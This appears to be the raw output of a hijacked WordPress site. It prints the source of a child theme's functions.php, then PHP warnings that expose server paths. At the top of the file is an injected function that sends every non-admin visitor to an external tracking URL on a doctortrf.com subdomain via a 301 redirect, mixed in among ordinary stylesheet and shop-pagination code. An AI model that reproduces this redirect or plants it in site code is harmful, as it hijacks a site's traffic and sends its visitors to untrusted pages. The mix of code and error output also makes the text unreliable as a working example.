function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); // Loads our main stylesheet. wp_enqueue_style( 'impreza-style', get_stylesheet_uri(), array(), '2016-07-19' ); // Display 500 products per page. Goes in functions.php add_filter( 'loop_shop_per_page', create_function( '$cols', 'return 500;' ), 20 );
Warning: Cannot modify header information - headers already sent by (output started at /home/hsur10/public_html/web/wp-content/themes/Impreza_Hijo/functions.php:16) in /home/hsur10/public_html/web/wp-includes/pluggable.php on line 1306

Warning: Cannot modify header information - headers already sent by (output started at /home/hsur10/public_html/web/wp-content/themes/Impreza_Hijo/functions.php:16) in /home/hsur10/public_html/web/wp-includes/pluggable.php on line 1309